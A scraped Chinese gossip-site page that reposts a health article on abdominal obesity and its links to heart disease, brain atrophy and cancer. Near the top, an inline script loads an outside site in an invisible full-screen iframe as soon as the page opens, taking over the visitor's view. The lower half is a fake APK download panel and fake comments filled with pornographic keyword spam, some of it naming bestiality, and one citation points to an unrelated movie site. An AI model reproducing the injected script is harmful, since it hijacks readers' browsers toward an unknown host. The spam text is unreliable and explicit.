首页 ›吃瓜爆料›内容详情

腾讯网游戏:黑料吃瓜网399.su-今日吃瓜 黑料-答应我，不管胖哪里，都不要胖这里

alan 吃瓜爆料 2025-02-04 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

原创 栗子阿孙 丁香医生

有一种会在人群中流行的疾病。

它不仅会损伤心血管系统，进一步引起高血压、中风、心脏病；还可能引起脑部萎缩，影响大脑信息处理的能力；甚至与十多种癌症扯上了关系，让它们的发病风险同时飙升。

这种疾病在世界范围内四处分布

而它的确诊方法非常简单。

如果……你已经做好了心理准备，那么请进行自我诊断。

祝大家好运

而你患上的这种可怕「流行病」，就是——

腹型肥胖

（别滑走，答应我一定往下看）

说真的，同样是胖，肚子胖——真的很害人！

肚子越大命越短

肥胖，分为很多种。

有人全身胖，有人胖大腿，有人胖屁股，还有一种人，就爱胖肚子。

而这种胖肚子的现象，就是「腹型肥胖」，也叫「向心形肥胖」。

研究人员在 1980 年代开始关注腹部肥胖，拉开了研究的序幕之后，令人后怕的发现就一个一个地跳了出来。

首先，肚子越大，心脏越差[1]。

美国心脏协会发表在《循环》上的一份科学声明显示：腹部肥胖或身体中段、器官周围有多余脂肪的人，患心脏病的风险增加，即便他们并不胖（BMI 在正常范围内）。

而除了心脏问题，腹部肥胖还与肝脏周围的脂肪堆积有关，这往往会导致非酒精性脂肪肝，增加心血管疾病的风险。

其次，肚子越大，脑子也会变小[2]。

一项超 9000 人的大规模人群成像研究发现：肥胖与大脑萎缩存在正相关性。

BMI 越高，大灰质（大脑信息处理中心）部分越小

数据来源：参考文献[2]

而如果肥胖的同时还肚子大，脑中灰质部分就会更加萎缩。这也意味着……肚子越大，脑子越小！

数据来源：参考文献[2]

你以为这就结束了吗？

现在，请左滑下图，看看肚子大带来的另一种连锁反应。

是的，肚子越大，越容易患癌。腰围每增加 10 厘米，14 种癌症的发病风险都会相应增加。

实可谓——肚子越大，命越短。

明明都是脂肪，

怎么肚子上的这么可怕？

健康状态下，脂肪多堆积于皮肤之下，内脏周围其实并不多。

但由于遗传因素、生活方式等的作用，有些人发胖之后，很大一部分脂肪会出现在内脏四周，呈现在外部就是——肚子变大了。

而这些分布在内脏周围的脂肪，是身体里真正的「恐怖分子」。

研究表明，脂肪细胞，尤其是内脏脂肪细胞——其实具有生物活性，它们会分泌激素和很多其他物质，影响体内的激素平衡，进而导致一系列健康问题。

比如，它们会排出肿瘤坏死因子和白细胞介素 6，而这些都会让心血管疾病的患病风险增加。

图片来源：图虫创意

也有另一种理论认为，过量内脏脂肪的真正可怕之处在于——它们位于门静脉附近（门静脉负责将血液从肠道区域输送到肝脏）。

如此特殊的地理位置，为它们把代谢产物（如游离脂肪酸）释放入肝脏提供了极大便利，进而使肝脏内游离脂肪酸增多，引发体内的蝴蝶效应——血脂生成异常。

临床观察也证实了这一点：内脏脂肪不仅与较高的总胆固醇和 LDL胆固醇（一种对身体有害的胆固醇）直接相关，也与较低水平的 HDL 胆固醇（对身体有益的胆固醇）和胰岛素拮抗直接相联。[3][4]

听我的，这么做就对了

虽然腹部脂肪非常凶险，但好在——减重，尤其是减小腰围，就可以降低疾病风险。

比如：一项对 58667 位女性长达 12 年的研究发现：与体重稳定的女性相比，有意减肥的女性与肥胖相关的癌症风险较低，尤其是子宫内膜癌[6]。

当刻意减肥使腰围缩小时

子宫内膜癌的风险最低

图片来源：参考文献[5]

而更好的消息是——只要是能帮助减脂的办法，也都适用于腹部脂肪。

作为一种「传染病」，请首先远离那些不必要的应酬，拒绝高脂高热量的饮食，就能很大程度降低「患病风险」。

诱人的小龙虾少来两口，酷爽的可乐少喝一瓶，就能离癌症等危险更远一些。

另外，由于身体运动过程会分泌儿茶酚胺，而它具有脂肪分解的作用。因此，运动也可以有效帮助减少内脏脂肪，让大肚子  退  退  退 退 退[7]。

有学者深入研究之后，甚至还找到了让我们预防 / 治疗腹型肥胖的「运动疗法」：建议男性进行中等强度的长期身体活动（有氧运动和抗阻运动），女性进行长时间的步行或中等强度的身体活动[7]。

图片来源：参考文献[6]有趣的运动实在太多，不知道大家打算选哪一个呢～

但无论计划用哪种运动抗击腹部脂肪，都请答应我们：一定不要只收藏不行动哦。

亲自动起来，和大肚 say byebye，OK？

参考文献

[1]Tiffany M. Powell-Wiley et al， Obesity and Cardiovascular Disease：A Scientific Statement From the American Heart Association， Circulation (2021). DOI：10.1161/CIR.0000000000000973

[2]Hamer M, Batty GD. Association of body mass index and waist-to-hip ratio with brain structure: UK Biobank study. Neurology. 2019 Feb 5;92(6):e594-e600. doi: 10.1212/WNL.0000000000006879. Epub 2019 Jan 9. PMID: 30626649; PMCID: PMC8093082.

[3]https://www.health.harvard.edu/staying-healthy/abdominal-fat-and-what-to-do-about-it

[4]https://www.health.harvard.edu/staying-healthy/abdominal-obesity-and-your-health

[5]https://www.nnyy6.top/dianying/51537.html

[6]Luo J, Hendryx M, Manson JE, et al. Intentional Weight Loss and Obesity-Related Cancer Risk. JNCI Cancer Spectr. 2019;3(4):pkz054. Published 2019 Aug 9. doi:10.1093/jncics/pkz054

[7]Pitanga FJG, Pitanga CPS, Beck CC (2018) Physical Activity in the Prevention of Abdominal Obesity: Type, Duration and Intensity. Int J Sports Exerc Med 4:106. doi.org/10.23937/2469-5718/1510106

[8] 丁香医生, 有些人看起来很瘦，腰围其实已经超标了

[9] 丁香医生, 腰越粗，越容易患癌！快看看你的风险高吗？

[10] 丁香医生，13 种癌症都爱的 1 个字，一定要远离

策划制作

作者：栗子阿孙 | 策划：塔盖 | 监制：Feidi

制图及封面图来源：hantu

（部分插图整理自搞错饺子旧文）

阅读原文

本文地址：http://wap.jiatingjiaoyuyanjiu.com/post/7139.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > txt小说免费下载
男男黄图

久久国产精品久久久

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载欧美人与禽ZoZ0善交安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
福利500导航0 在线观看黄色网站高清地址1 teen xxx2 成 人 免费观看在线3 欧美xx0o4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 欧洲肥女ass肥女pics
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，亚洲一区二区三区无码中文A片，精品人妻无码一区二区三区换脸
二，国产精品流白浆在线观看，男人女人做爰的教程
三，深夜释放自己污在线看，国产乱子经典视频在线观看
四，国产在线精品免费AAA片，97免费人妻在线观看
五，内射毛片内射国产夫妻，欧美又粗又大XXXX无码
六，亚洲精品美女偷拍一区二，一本大道嫩草AV无码专区
七，公和熄洗澡三级中文字幕，欧美精品爆乳无码视频

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
国产精品夜夜春夜夜爽久久小，久久精品久久久久

91精品国产综合久久精品

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 羞羞漫画免费登录网站 4天前
    人与禽一级一级毛片
  • 国产漂亮白嫩美女在线观看 7天前
    日本无码少妇波多野结衣
  • 射插插插免费视频 7天前
    人体裸体BBBBB欣赏
  • 亚洲粉嫩美白在线 6天前
    又粗又大又黄的少妇毛片
  • 十八和谐色区 2天前
    快播色电影
  • 娇妻两根一起进3p视频 4天前
    欧洲午夜福利视频在线观看
  • 吃胸下面激吻娇喘黄禁 5天前
    爽灬好舒服灬别拔出来视频人
  • 偷自拍亚洲视频在线观看 4天前
    亚洲精品喷潮一区二区三区
  • 亚洲性夜色噜噜噜网站2258KK 4天前
    被夫好友侵犯中文字幕影音
  • 亚洲精品无人一区二区 9天前
    久久精品亚洲成在人线AV麻豆
久久91精品国产91久
情欲房 电影 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有